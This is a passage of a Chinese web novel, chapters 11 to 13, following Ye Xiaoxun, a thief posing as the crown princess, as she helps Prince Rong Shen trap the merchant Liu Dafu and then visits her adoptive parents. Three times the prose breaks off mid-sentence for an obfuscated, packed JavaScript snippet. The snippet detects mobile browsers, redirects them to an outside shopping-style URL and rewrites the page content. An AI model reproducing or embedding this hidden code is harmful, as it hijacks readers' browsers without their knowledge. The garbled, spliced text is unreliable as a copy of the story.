叶小寻的手指紧紧攥着那尚存余温的衣袍,心底像是被什么东西狠狠撞了一下,酸酸涨涨的。 那一瞬间的感动简直如排山倒海般袭来,让她差点没忍住鼻酸。 她下意识地想要拢紧这件外袍,双臂环抱胸口。 …… 空了。 叶小寻的动作猛地僵住。 原本藏在内衫夹层里、那个硌得她睡觉都不踏实的那只铜老虎,不见了! 刚才那一瞬间的感动如同被一盆冰水迎头浇下,瞬间冻结成渣。 叶小寻慌了神,顾不得额头上的包,手忙脚乱地在身上摸索,甚至怀疑是不是刚才做梦自己给扔了。 没有。 都没有。 就在她急得冷汗都要冒出来的时候,眼角的余光忽然瞥见了一抹金属的冷光。 就在两人中间那张简陋的石桌上。 在昏黄跳跃的烛火旁。 那只狰狞的、做工精巧的铜老虎,正安安静静地趴在那里。 叶小寻只觉得浑身血液倒流。 她僵硬地抬起头,看向容慎。 男人依旧闭着眼,呼吸平稳,似乎睡得很熟。 可那铜老虎摆放的位置,分明就是正对着他的视线方向。 他是怎么拿走的? 在她睡着喊疼的时候?还是在他给她披衣服的时候? 她张了张嘴,喉咙干涩得发不出声音。 容慎不是没提醒过这是大晟朝的命脉,被她这样毫无保护地带出来,她不知道容慎会怎么看她。 只是情况紧急,他会理解的吧? 就在这时,暗室的石门突然发出沉闷的声响,缓缓向两侧滑开。 一道黑影闪身而入,单膝跪地。 “主子,属下来迟。” 容慎原本紧闭的双眼,在这一刻缓缓睁开。 那双眸子里清明一片。 11. 第 11 章 密室之内,空气仿佛凝固了。 叶小寻此时裹着太子的外袍,整个人僵在角落,恨不得自己当场化作这石室里的一粒尘埃。 容慎神色清明,那双狭长的凤眸里殊无睡意,视线先是轻飘飘地在那只青铜老虎上打了个转,又扫过叶小寻那张惨白的小脸,最后才越过她,落在了门口躬身伫立的涤墨身上。 良久,容慎才漫不经心地吐出一个字,声音里带着晨起特有的微哑: “说。” 涤墨头垂得更低,恭敬道:“回殿下,昨日潜入东宫的那名探子已活捉。只是此人是个死士,还没等卸了下巴,便咬破了藏在舌根下的毒囊,当场毙命。” 听到此刻,容慎哼出一声不屑的鼻音。 “另外,属下奉命重新搜查了沈府别院的粮库,并未发现异常。” 叶小寻眨巴了两下眼睛,也就是说,昨天不管是谁潜进来偷东西,人已经抓到了? 那她在这暗无天日的石头牢房里冻了一晚上,图什么? 她悄悄抬眼去瞧容慎。 容慎闻言,长指轻轻叩击着石桌边缘,眼睛轻阖,似在思忖,片刻后冷笑一声:“死了便死了。” “那老狐狸既然已经开始打这东西的主意,定是自认万事俱备。留给我们的时间不多了,必须知道他在盘算些什么。” 涤墨的身子又伏低了一些,欲言又止:“另外……” “要讲就讲。” 涤墨这一瞬的迟疑,让叶小寻的市井直觉瞬间警铃大作。 “那……那个,”叶小寻干笑两声,指了指半开的石门,身子悄悄往外挪,“既然寝殿安全了,要不我先出去?你们聊,你们聊。” 容慎撩起眼皮看了她一眼,那眼神凉薄得很,却摆了摆手:“无妨。” 他下巴微抬,示意涤墨:“继续。” 涤墨这才把头低回去,声音沉了几分:“那日在地道外截杀殿下与娘娘的刺客,全都没了。” 容慎原本慵懒靠在石椅上的身形陡然一僵,随即睁开眼。 涤墨不敢抬头,顶着这股如有实质的威压,定了定神才继续道:“且这几人死状蹊跷,并无外伤,皆是七窍流血,一击毙命。” 石室陷入了死一般的寂静。 容慎沉默了几息,突然发出一声极轻的哼笑,那笑意未达眼底,反而透着股嗜血的戾气。 “好啊,”他语调轻柔得有些诡异,“这是想骑到孤的头上当黄雀?好大的胆子。” 既然没有外伤,那…… “想必又是毒杀?”容慎状似不经意地问,神色已经恢复了平日里的波澜不惊。 涤墨沉声道:“仵作验过了,是丹青引。” 听到这三个字,信手整理袖口的动作微微一顿。 涤墨的声音压得更低,带着几分小心翼翼:“和……霍大小姐所中之毒,是同种。” 叶小寻本来正百无聊赖地抠着石墩子上粗糙的纹路,听到霍大小姐四个字,耳朵竖得像只警觉的兔子。 不知此时插嘴合不合适,但好奇心终究战胜了求生欲。 “那个,”她小心翼翼地探出头,“刺客既然都死了,那是谁派的查出来了吗?” 容慎斜睨了她一眼,那眼神看着也不像打算告诉她的样子。 叶小寻碰了个软钉子,也不气馁,继续发问。 “霍家大小姐就是那位真正的太子妃吧?”她眨着大眼睛,试探着问道,“你把她埋在哪儿了?” 容慎终于正眼看她了。 他微微侧过身,烛火在他高挺的鼻梁一侧投下深邃的阴影,显得那张脸愈发轮廓分明,俊美得近乎妖异。 “知道这些,对你来说很重要吗?” “那当然!”叶小寻理直气壮,拍了拍胸脯,“咱们难道不是一条绳上的蚂蚱?” “呵。” 容慎轻笑出声,像是听到了什么天大的笑话。 他缓缓站起身,一步步朝叶小寻逼近。 叶小寻本能地往后缩,直到背脊紧紧贴上了冰冷的石壁,退无可退。 “想要和孤当一条绳上的蚂蚱?” 容慎在离她咫尺之遥的地方停下,单手撑在她耳侧的石壁上,高大的身躯瞬间笼罩下来,将她整个人圈在了一方狭小的天地里。 独属于他的冷冽气息,铺天盖地地涌入叶小寻的鼻端。 “那你还得多努力才行。” 他微微俯身,温热的呼吸喷洒在她耳畔,激起一阵细密的战栗:“连个兵符都藏不好的人,要孤如何信得过,敢把后背交给你?” 叶小寻的脸腾地一下烧了起来,红霞顺着脖颈一路蔓延到了耳根。 “什么叫藏不好了?”叶小寻梗着脖子,色厉内荏地反驳,“昨夜要不是我机灵,顺手把它带进了密道,今天这宝贝还在不在都不一定呢!要是留在寝殿,早被那死士摸走了!” 趁着容慎微愣的空档,她一把推开他撑在墙上的手臂,灵巧地钻了出去。 一步冲到石桌旁,她一把抄起那只铜老虎,胡乱往怀里一揣,也不管硌不硌得慌了。 “哼,好心没好报。”她嘟囔着,故作轻快地往出口走去,脚步飞快,“折腾了一晚上,本姑娘要回去补觉了!殿下您慢慢断案吧!” 脚下一顿,又信步走回来。 “何事?”容慎拉长了语调。 “还你。”叶小寻一把将他的外袍罩在他肩上。 想罩头来着,到底是不敢…… …… 重回寝殿的一刹那,叶小寻心里还是有些七上八下的。 那种感觉,就像是刚从鬼门关溜了一圈回来,看着满室阳光,竟有些不真实。 她轻手轻脚地推开暗门,又做贼似的左右张望了一番,直到暗门严丝合缝地关上,将那股阴冷的地下气息彻底隔绝,她才长长地吁了一口气。 刚一转身,迎面就撞上了一堵软绵绵的人墙。 “啊——!” 叶小寻吓得差点原地起跳,定睛一看,才发现是祝凝。 “祝凝!!你走路没声儿的啊!吓死我了!!!”叶小寻拍着胸口,惊魂未定。 祝凝也被她这激烈的反应吓了一跳,连忙福身请罪:“娘娘恕罪,奴婢不是有意吓唬娘娘的。奴婢只是算着时辰,想着娘娘折腾了一宿,定是累极了饿极了,这就去把温着的食盒端来。” “咦?” 她在暗室里躲了一晚上,不仅错过了就寝时间,连今早巳时的早膳也没吃,宫里其他人难道就没发现这大活人不见了? “没人来查岗吗?”叶小寻压低声音问。 祝凝神色如常,一边手脚麻利地摆弄着桌椅,一边答道:“周嬷嬷早上来过的。奴婢回禀说,娘娘今日身子不太利索,想多睡会儿,晚点再吃。为此还被周嬷嬷好一顿唠叨,说是坏了规矩,不利于调养身子。” 她说得轻描淡写,仿佛叶小寻彻夜未归只是一件稀松平常的小事,半点不觉得奇怪。 叶小寻干笑两声,心想这祝凝果然是个机灵的。 很快,食盒被打开,诱人的饭香瞬间充满了整个寝殿。 什么水晶肴肉、松鼠鳜鱼、蟹粉狮子头……虽然早已过了饭点,但这菜色依旧精致得让人咋舌。 照着东宫这雷打不动的饭点吃了一个多月,叶小寻那原本饱一顿饥一顿的江湖胃,早就被养娇了。此刻闻到饭香,肚子立刻不争气地“咕噜”了一声。 “那我就不客气了!” 她也不讲究什么细嚼慢咽的仪态,筷子使得飞起,风卷残云般扫荡着桌上的美食。在暗室里啃了一晚上的冷风,现在这口热汤简直是救命的甘霖。 一刻钟后。 叶小寻餍足地放下筷子,毫无形象地拍了拍微鼓的肚皮,发出一声满足的叹息。 祝凝上前,动作轻柔地收拾着残羹冷炙。 叶小寻托着腮,目光落在祝凝忙碌的手上,看着那双手虽有些粗糙,却十分稳当。 她眼神有些飘忽,突然开口道: “祝凝啊。” “奴婢在。” “既然你知道真正的太子妃已经死了,那你知道她被埋在哪儿了吧?” 啪嗒一声轻响。 祝凝手中的瓷勺碰到了碗沿,很快被她稳住。 她低着头,看不清表情,只是收拾碗筷的速度明显慢了下来。 叶小寻只当她是害怕提及这些打打杀杀的血腥事,有些歉疚地伸出手,安抚似的拍了拍祝凝的手背。 “别怕,我就是随口一问。” 祝凝咬了咬下唇,犹豫片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132719|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,忽然半跪下来,凑到叶小寻耳边,声音压得极低。 “奴婢终归只是个身份低微的小宫女,这种涉及皇室秘辛的细枝末节,自然不必让我们这些下人清楚。娘娘怎会突然想知道此事?” 叶小寻叹了口气,换了个姿势,双手捧着脸,眼神有些黯然。 “也不是突然吧。那天出宫遇刺,我虽然没看见全貌,但也算是撞见了命案现场。虽非我本意,但我现在毕竟顶着她的名字,穿着她的锦衣华服,过着本该属于她的富贵日子……心里难免有些过意不去。” 她垂下眼帘,手指无意识地搅动着衣带:“我就想着,若能知道她在哪里,哪怕是偷偷去给她上柱香,烧点纸钱也好啊。说到底,我也只是想让自己心里好过一些罢了。” 说完,她抬起头,冲祝凝没心没肺地笑了笑。 祝凝定定地看了她一会儿,随后轻轻点了点头。 “奴婢明白了。娘娘既有此心,奴婢可以试着去四处打听打听。但就算有了结果,娘娘也切忌鲁莽行事,以免招来祸端。娘娘可否答应奴婢?” “答应!当然答应!”叶小寻头点得像鸡啄米,“你也看见了,东宫现在四面楚歌的,我给自己找麻烦做什么?” 见祝凝松了口气,叶小寻眼珠一转,突然笑眯眯地凑近了几分: “还有啊,咱们商量个事儿。” “娘娘请吩咐。” “以后四下无人的时候,你就叫我小寻好了。你也知道,我不是什么正经的富贵人家小姐,以前就是个……咳,反正最开始几天那是图个新鲜,现在新鲜劲儿过了,你天天对我三跪九叩的,我反而还不自在。咱们稍微……随意点?” 祝凝愣了一下,看着眼前这个毫无架子、笑得眉眼弯弯的少女,嘴角终于忍不住勾起一抹淡淡的弧度。 “是……” …… 夜色渐深,更漏声声慢。 叶小寻接着告病,一整天都窝在寝殿里没出门。 祝凝怕她闷坏了,不知从哪儿给她寻来了一本画册子。那不是什么深奥的经史子集,而是坊间流传的连环画本,画工虽不算精细,但胜在通俗易懂,即便不识字也能看个津津有味。 此刻,叶小寻正毫无形象地趴在软榻上,两条小腿在空中晃来晃去。 看到有趣的地方,忍不住咯咯直笑,兴奋地在软榻上滚了一圈。 就在这时,殿外突然传来一声尖细高亢的通报: “太子殿下驾到——” 这声音来得太过突兀,简直是平地一声雷。 “哎哟!” 叶小寻吓得一激灵,身子一歪,连人带被子直接从软榻上滚了下来,扑通一声摔了个结结实实。 “嘶……” 她狼狈不堪地爬起来。刚一抬头,视线里就出现了一双云纹皂靴,做工考究,纤尘不染。 顺着靴子往上看,是墨色的衣摆,再往上,是玉带束着的劲瘦腰身……最后,她跟一双似笑非笑的眼睛对上了。 容慎居高临下地看着她,手里正捏着那本刚才随着她摔下来的连环画书脊。 他修长的手指翻了一页,挑眉道:“娘娘好雅兴。” 叶小寻只觉得头皮发麻,赶紧手忙脚乱地爬起来,整理了一下乱糟糟的衣裳和头发,嘿嘿陪笑: “那个……太子殿下贵人事忙,如今都快子时了,居然还大驾光临,真是……令妾身……蓬荜生辉?” 她把肚子里那点可怜的墨水搜刮了一遍,把听过的奉承话一股脑往外掏。 那颠三倒四的架势,听得容慎都忍不住皱了下眉。 “行了。” 容慎将那本连环画随手扔回软榻上,动作随意,却带着一股不容置喙的威仪。 “你当真想见你那对养父母?” 他突然开口,单刀直入。 叶小寻听到这话,整个人瞬间绷紧了。她有些困惑地将小脑袋歪到一边,警惕地看着他。 “……你想干嘛?” 容慎又上前几步,叶小寻能将他深不见底的眸光看得一清二楚。 “我有条件。” “条件?” 容慎抬起眼,目光灼灼: “抓住刘老爷和相府沈道衍勾结的把柄,孤就让你去见你的养父母。” 12. 第 12 章 叶小寻生得一双杏眼,水光潋滟,叶片儿从小便夸她这双眸子生得极好。 只可惜这双眼睛藏不住事,眼波才微微一转,容慎便知她又有了鬼主意。 “那你先答我,先前的刺客,可是你安排的?” 她下巴微扬,一步三摇地挪到了桌边。这些时日即便无人刻意教导,她也看会了不少规矩,落座的姿态比之初见时收敛了许多。 叶小寻也不管容慎还站着,径自摸来祝凝刚沏好的茶盏,试了试温热正好,便给自己斟了一杯。 容慎倚在雕花木椅上,指尖有一搭没一搭地叩着扶手,视线落在她身上,似笑非笑。 “是又如何?” “这位殿下,你架子倒是不小。现下可是你有求于我,当我傻,听不出这其中的弯绕吗?” 叶小寻轻哼一声,也不急着说正事,只喜滋滋地啜着茶。 一想到不久便能见到叶片儿,她满心都在盘算着给二老带些什么见面礼才好。 容慎看着她那副不知天高地厚的模样,眸底掠过一丝不易察觉的纵容,身形微微前倾,压迫感陡然而生。 “有什么条件,尽管提。” 叶小寻笑得眉眼弯弯:“哈哈,你也有今日。看来那位丞相大人不好对付啊,你同他斗了多久?有胜算吗?若是没把握,我还是向他弃暗投明来得稳妥些。” 说罢,她得意地将盏中残茶一饮而尽。 容慎闻言,唇角的弧度深了几分。 “孤若输了,你以为你能独善其身?” 叶小寻撇撇嘴,放下茶盏:“罢了,谈正事。你这一步棋,算是走对了。” “哦?此话怎讲?” “我正打算找刘大福那老匹夫算账呢。”提起刘老爷,叶小寻磨了磨后槽牙,“既然要从他身上下手,我需你替我备一样东西。” “但说无妨。” 叶小寻神神秘秘地从软榻旁的暗格取出那只嵌着虎皮的木盒,朝他挑眉示意,手指在盒盖上轻轻叩了两下。 容慎扫了一眼那盒子,哂笑一声,随即起身。 “小事,孤这就安排。不过……”他顿了顿,目光在她脸上停留片刻,“孤若是你,现下当有些苦恼才是。” 正窃喜于他答应得如此爽快,叶小寻一怔:“什么?” 容慎行至门边,回首看她。 烛火摇曳,将他的轮廓映得半明半暗,显得格外深邃。 他的目光不着痕迹地滑过叶小寻手边那壶铁罗汉,声音低沉悦耳。 “今夜你怕是要无法安寝了。” —— 叶小寻昨夜才在那暗道里困了一宿,今夜又原路折返。 她换回了那一身利落的黑色短打劲装,手中拎着方正的包袱,如一道鬼魅般潜入夜色。 暗道的石门无声滑上,涤墨立在暗处,望着她消失的方向。 “涤墨大人,属下是否随行更为妥当?” 涤墨戴着假面,只有一双眸子露在外面,平静如水。 “宫闱之中不可再减守备。传信给埋伏在刘大福身侧的所有暗卫,今夜全数去刘府别院待命。” “是。” 叶小寻去的并非刘府正宅。 今日正逢十五,刘老爷惯例会去城北别院,陪那个叫枫娘的外室。 哼,狐狸打洞。 叶小寻嘴里嘟囔着,翻身跃过高墙。 谁知刚一落地,四周骤然亮起的火把晃得她几乎睁不开眼。 待视线恢复,她已被团团包围。 叶小寻下意识抬手遮挡强光,随即高高举起手中的包袱,厉喝道:“我来赴约,手中便是刘老爷要的东西,谁敢拦我?!” 刘府的家丁面面相觑,一时竟无人敢动。 正厅之上,刘老爷端坐在太师椅中,手中盘着两颗核桃,那双总是眯缝着的小眼,此刻正透着阴邪的精光。 身侧一名妙龄女子正战战兢兢地为他斟茶,眉眼间尽是惧色。 这莫不就是枫娘?叶小寻此前只闻其名,不想境况竟如此凄惨。 叶小寻多看了那女子一眼,刘老爷手中的茶盏哐地一声重重砸在八仙桌上。 他盯着堂下的少女,皮笑肉不笑地扯了扯嘴角。 “哟,老夫当是谁呢。” 刘老爷嗓音尖细刺耳,“这不是咱们大名鼎鼎的神偷叶姑娘吗?老夫还道你早已接了那对养父母,躲到天涯海角哪个耗子洞里去了。这一躲便是月余,让老夫好找啊。” 叶小寻立在堂下,面对两侧凶神恶煞的家丁,面上不见半分惧色。 几名家丁欲上前夺她手中的包袱,却被她几招利落的拳脚逼退,近不得身。 叶小寻将包袱举过头顶:“刘老爷,我叶小寻行走江湖讲究的是信义。此番进宫,那是龙潭虎穴,我有命将东西顺出来,自然也得确信自己有命将东西交到您手上不是?” 刘老爷一时语塞,重重哼了一声:“离你潜入宫中已有月余,老夫如何确信你未曾毁诺?” “刘老爷说笑,我有没有使诈,您开盒验货便知。” 刘老爷终是难掩贪色,挥手示意家丁退至门外把守,命她呈上盒子。 他一把扯开包袱皮,先是左右端详,又伸手摩挲那块嵌着的虎皮,面上狂喜之色毕露,脸上的肥肉随之颤动,看得叶小寻一阵反胃。 此时,身侧的枫娘似是受了惊吓,手中动作慢了半分,衣襟微敞,露出上臂几道触目惊心的红痕。 刘老爷猛然转头,见她目光发直,抬手便是一个耳光抽了过去。 “看什么看?找死吗!” 枫娘捂着脸,顺着力道匍匐在地,半晌没能起身。 “干什么呢!赶紧验货,姑奶奶我还急着回去,没工夫看你耍威风。”叶小寻不耐烦地催促。 刘老爷斜睨了她一眼:“急什么。” 他的手已搭在锁扣之上。 叶小寻屏住呼吸,指尖微蜷。 木盒被掀开一条缝隙,一道流光溢出。刘老爷三角眼微微眯起,眼底闪过一丝狠戾。 叶小寻勾起唇角,全身肌肉紧绷,蓄势待发。 刘老爷那肥厚的大手猛地掀开盒盖。 只见一枚成色上佳的夜明珠静静躺在锦缎之中,流光溢彩,宝光斐然。 “不错,不错!辛苦叶姑娘了,确是好东西!”刘老爷突然抚掌大笑。 “嗯?” 叶小寻心中警铃大作。 这反应不对。 刘老爷不该立马翻脸,质问为何货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132720|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对路吗? 刘老爷喜上眉梢,满脸堆笑:“哎呀,此番当真是辛苦叶姑娘。这般贵重的宝物,若是一点好处不给,传出去岂不是说老夫小气?再说只是放了你那对父母,这也太轻了些。这样,老夫再赏你两箱黄金!” 两箱黄金? 叶小寻虽觉有诈,但这诱惑实在太大,她故作矜持地扬起下巴:“嗯……既然刘老爷盛情,那我就却之不恭了。” 刘老爷击掌三声。 没成想,进来是数名手持利刃的家丁,瞬间将她团团围住。 刘老爷脸上的笑意顷刻间荡然无存,终于露出一脸阴狠。 “当老夫是三岁小儿好糊弄?里面的东西何时被你调包了?” 叶小寻大声反驳:“什么调包?我听不懂你在说什么!这不是明晃晃的一颗夜明珠吗?这等成色,一看便是宫中御用之物,我还能造假不成?” “小蹄子,少在老夫面前装模作样!快些交代,老夫尚能留你全尸。” “我不懂你在说什么!既然你觉得这不是你要的东西,那你倒是说说,你要的是什么?我换了什么?” “就你这点心思,太嫩了!”刘老爷冷笑,“老夫劝你还是缩着尾巴,继续做那阴沟里的老鼠,莫要出来丢人现眼!” “什么东西?骂谁老鼠呢?” “跟着那两只老不死的大老鼠,你不是老鼠是什么?” “刘大福,姑奶奶跟你拼了!” 叶小寻怒喝一声正欲上前,一名家丁已将钢刀架在了她的脖颈之上。 刘老爷阴恻恻地笑道:“老夫这地界,可不是你能撒泼的地方。” 刀刃的寒气渗入肌肤,叶小寻咬牙切齿,似是无可奈何:“刘大福,你这奸商!想黑吃黑诬陷好人,拿到宝贝就想灭口!” “对,没错。”刘老爷笑眯眯地承认,“这夜明珠既是你叶小寻偷的,与老夫何干?老夫身为良民,自然要将其移交京兆尹严查。” “好啊老匹夫,连京兆尹都被你收买了?” 刘老爷并未理会她的叫嚣,反手又是一巴掌扇在枫娘脸上:“眼瞎了吗?茶空了还不添上?留你何用!” 枫娘哆哆嗦嗦地爬起来,颤抖着手为他斟茶。 叶小寻眼珠一转,忽地收敛了方才那副咄咄逼人的架势。 她好整以暇地剔了剔指甲,语气变得轻快而随意:“真是好心当成驴肝肺。这破盒子我费了九牛二虎之力才弄到手,还生怕这珠子金贵被磕坏了,特意把里头那些碍事的废铜烂铁清理干净了才送过来。姑奶奶这般周到的服务,你满京城打着灯笼也找不着第二家。” 刘老爷手中的茶盏轰然落地,滚烫的茶水泼了枫娘一身,烫得她手腕通红,却只敢缩成一团低泣,不敢发出半点声响。 “放肆!你方才说什么?!” 刘老爷失声怒吼,几步冲下堂来,一把撞开那持刀的家丁,死死揪住了叶小寻的衣领,眼球凸起,满布红血丝。 “你把里面清理干净了?你说清楚,你把什么清理了?!” 叶小寻无辜地眨了眨眼,嘴角勾起一抹狡黠的弧度: “我没说什么呀?我只是好心,把货品给您收拾利索了才送来。怎么,刘老爷想谢我?简单,磕个响头便好。” 13. 第 13 章 刘老爷此刻已是怒不可遏,一张肥脸涨成了猪肝色,扯着破锣嗓子嘶吼道: “黄毛丫头,竟敢戏弄老夫?今儿个老夫倒要看看你的骨头有多硬!来人!把她押去水牢!” 叶小寻却不慌不忙,只笑盈盈地望着他。 “不过是个唯利是图的奸商,居然也敢私设公堂动用私刑?我倒要看看,究竟是谁给你的胆子,让你跋扈至此。” 话音未落,只听几声脆响,几扇雕花窗棂瞬间炸裂,木屑纷飞间,四道黑影如鬼魅般破窗而入。 局势顷刻逆转。 “尔等何人?!”刘老爷大惊失色,连退数步。 叶小寻虽未看清来人面容,但那身形步法她是熟得不能再熟了。 她朝领头那人扬了扬下巴,即便隔着面具,她也认得出那是涤墨。 总算有人撑腰,叶小寻说话的底气也足了不少。 她双手抱胸,睨着刘老爷:“怎么?许你这一群大老爷们欺负我一个弱女子,还不许我叫帮手?” 涤墨带来的皆是东宫暗卫,个个身手了得,哪怕不动用内力,收拾这群只会仗势欺人的家丁也是绰绰有余。 不过几息之间,刘府的一众打手便倒了一地,哀嚎不止。 涤墨记着主子的吩咐要抓活口,下手虽狠却未取人性命。 刘老爷眼见大势已去,三角眼骨碌一转,竟想趁乱从后门溜走。 叶小寻一直盯着他呢,岂会给他这种机会? 身形一闪便挡住了他的去路。 “走什么?” 说罢,她指若疾风,照着他身上几处大穴便点了下去。 刘老爷顿时杀猪般惨叫起来。 叶小寻挠了挠头,有些不好意思:“哎呀,这招学得还不到家,手生了些,您多担待。” 话虽如此,手下却没停,照着刘老爷后颈便是一记手刀。 刘老爷叫得更惨烈了,那声音简直能穿透屋顶。 叶小寻嫌弃地啧了一声,甩了甩有些酥麻的手掌:“平日里让你少吃些你不听,这脖子上全是肥肉,劈都劈不晕,还得费我不小力气。” 她深吸一口气,运足了力道:“再来一次!” 这一下结结实实地劈了下去。 刘老爷白眼一翻,身子一软,终于瘫在地上不动了。 叶小寻拍了拍手,回头一看,只见满屋子的家丁已被制服,皆被反剪双臂跪在地上。 她嬉皮笑脸地凑到涤墨跟前:“怎么样?刚才这老匹夫说的话你都听见了吧?带回去严加审问,定能从他嘴里撬出点东西来。” 涤墨点头,挥手示意:“全部带走。” 待暗卫将一干人等五花大绑押走后,屋内重归寂静,只剩下一片狼藉。 叶小寻转身,看向仍呆坐在角落里的枫娘。 “你怎么样?还疼吗?” 枫娘这才如梦初醒,慌忙低下头,声音细若蚊蝇:“多谢姑娘救命之恩。” “说的什么话,我可不是特意来救你的,不过是顺手罢了。” 叶小寻一边说着,一边从腰带暗袋里摸出一个小瓷瓶。 “我有个朋友以前也受过伤,用的这药膏好使得很,我就随身带着了。你也试试。” 她蹲下身,小心翼翼地挑了些药膏,涂抹在枫娘脸颊的红肿处。 清凉的药膏触及肌肤,枫娘身子一颤,一大颗泪珠啪嗒一声落在叶小寻虎口,滚烫灼人。 叶小寻手一顿:“怎么了?是不是我手重弄疼你了?” 枫娘摇头,哽咽难言:“奴婢原以为苦日子熬到头了,没曾想不过是入了另一个狼窝。姑娘今日救了枫娘,若日后有用得上枫娘的地方,便是上刀山下火海,枫娘也在所不辞!” “行了行了,哪有那么多刀山火海让你下。先把伤养好才是正经。” 叶小寻忍俊不禁,想起祝凝那赌咒发誓的娇憨模样。 她环顾四周,这刘府别院肯定是不能待了,便问道:“我看这儿你也住不了了,你可有去处?” 枫娘一怔,眼中闪过一丝难言的苦涩,随即黯然摇头。 叶小寻叹了口气,扭头看向正在做最后清点的涤墨,凑过去压低声音道:“涤墨大人。刘大福既然已经被你们抓住了,审讯也是迟早的事。能不能通融一下,让我先去看看我爹娘?太子爷可是答应过我的。” 涤墨面露难色,似有迟疑。 叶小寻乘胜追击,拽住他的衣袖晃了晃:“你就帮我带个路就行,回头我自己跟太子爷解释,绝不连累你!” 涤墨沉默片刻,转身离开了一阵。再回来时,身后却并无容慎的身影。 叶小寻心中有些失落,正盘算着该如何安顿枫娘,却听涤墨沉声道:“属下这便差人为姑娘领路。” —— 城郊一处不起眼的农家小院内。 叶片儿刚洗刷完院子,扶着腰直起身来,一眼便瞧见了站在篱笆外的那个身影。 “……小寻?” “叶片儿!”叶小寻推开篱笆门冲了进去,声音也带了些哽咽,“我来看你了。叶根儿呢?怎么没见他在院里?” 叶片儿神色一黯:“他……” 屋内适时传来一声压抑的痛呼。 叶小寻心头一紧,顾不得多言,快步冲进屋去。只见叶根儿正躺在床上,面色苍白,神色恹恹。 “叶根儿!这是怎么回事?你的腿……” “被刘老爷的人打断了,好在送治及时,有位贵人请了名医给接上了。”叶片儿跟进来,抹了把眼泪,“只是伤筋动骨一百天,他还得在床上躺上两个多月呢。” 叶小寻眼眶一红,正欲开口,叶片儿却将目光移向了她身后:“这位姑娘是……” 叶小寻这才想起身后的枫娘,赶紧将人拉到身前:“叶片儿,你们这儿若是还算宽敞安全,能不能让这位姑娘在此借住几日?她……” 叶片儿有些好奇地打量着枫娘。叶小寻还没想好怎么编个由头,枫娘已主动上前一步,盈盈福身行了一礼。 “叶姑娘心善,见我遭了难无处可去,便好心收留我。夫人放心,我虽身无长物,但洗衣做饭,端茶倒水的粗活都能干。既然老爷身上不便,我愿留下来伺候二位,只求有个遮风避雨的去处。待我寻到亲人,自会离开,绝不多做打扰。” 听到枫娘这个名字,叶片儿几不可察地皱了皱眉,却并未多言。 “其实我们老两口也是托了贵人的福才得以在此安身。你若不嫌弃这儿简陋,便暂且住下吧。西边还有两间空屋,你自去挑一间便是。” 枫娘喜极而泣,又要下跪:“多谢夫人收留!” 叶片儿有些不好意思地摆手:“快别这般叫,我这把老骨头活到这岁数,还是头一回听人叫我夫人哩。” 她悄悄捏了捏叶小寻的手,后者心领神会,借口母女俩有体己话要说,拉着叶片儿去了偏屋。 刚一关上门,叶片儿便急急问道:“好孩子,这些日子你究竟去哪儿了?可急死娘了!” 叶小寻心里最怕的便是给叶片儿解释,她不问个底朝天决不罢休。 她只好支支吾吾地避重就轻,只说当日被一位贵人所救,留在那边做事。 叶片儿听得将信将疑,眼神里满是探究。 叶小寻踢着脚边的石子儿,实在编不下去了,索性把脚一跺,故作神气道: “哎呀,那位贵人便是当朝太子爷!人家那是何等身份,运筹帷幄之中,决胜千里之外!既然肯用我这等小人物,自然有他的考量。今儿个我还立了大功呢!这枫娘便是我顺手救出来的!” 叶片儿闻言更是心惊肉跳,紧紧抓着她的手叮嘱道: “我的小祖宗哎,那可是将来要坐龙椅的大人物!你可千万得小心伺候着,万不可使性子惹了主子不高兴,那可是要掉脑袋的大罪啊!” “哎呀我知道我知道!你放心吧!” 见她答应得爽快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132721|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶片儿这才稍稍安了心,嘴里念叨着“那就好,那就好”。 她左右张望了一番,确定四下无人,这才从袖口掏出一枚石子儿,往空屋的房梁上一掷。 只听一声闷响,一个灰扑扑的布包应声落下。 “你怎么到哪儿都爱往这藏东西啊?”叶小寻忍不住失笑。 叶片儿没理会她的调侃,解开布包,里面是些散碎银两和几串铜钱,中间却夹着一块叠得一丝不苟的帕子。 她小心翼翼地展开,露出里面一枚温润的墨色玉佩。 指腹摩挲着上面的纹路,叶片儿的眼神有些恍惚,仿佛陷入了久远的回忆。 叶小寻虽好奇,却也没出声打扰,只在一旁静静候着。 “从前不得已,让你跟着我们餐风露宿。那时候你年纪太小,这东西贵重,我又怕遭了贼惦记,一直不敢给你。” 叶片儿拉过她的手,将玉佩郑重地塞进她掌心,“如今好了,你出息了,能给太子爷当差了。这东西本就是你的,我得还给你。” “给我的?”叶小寻一愣,“这是我的?” 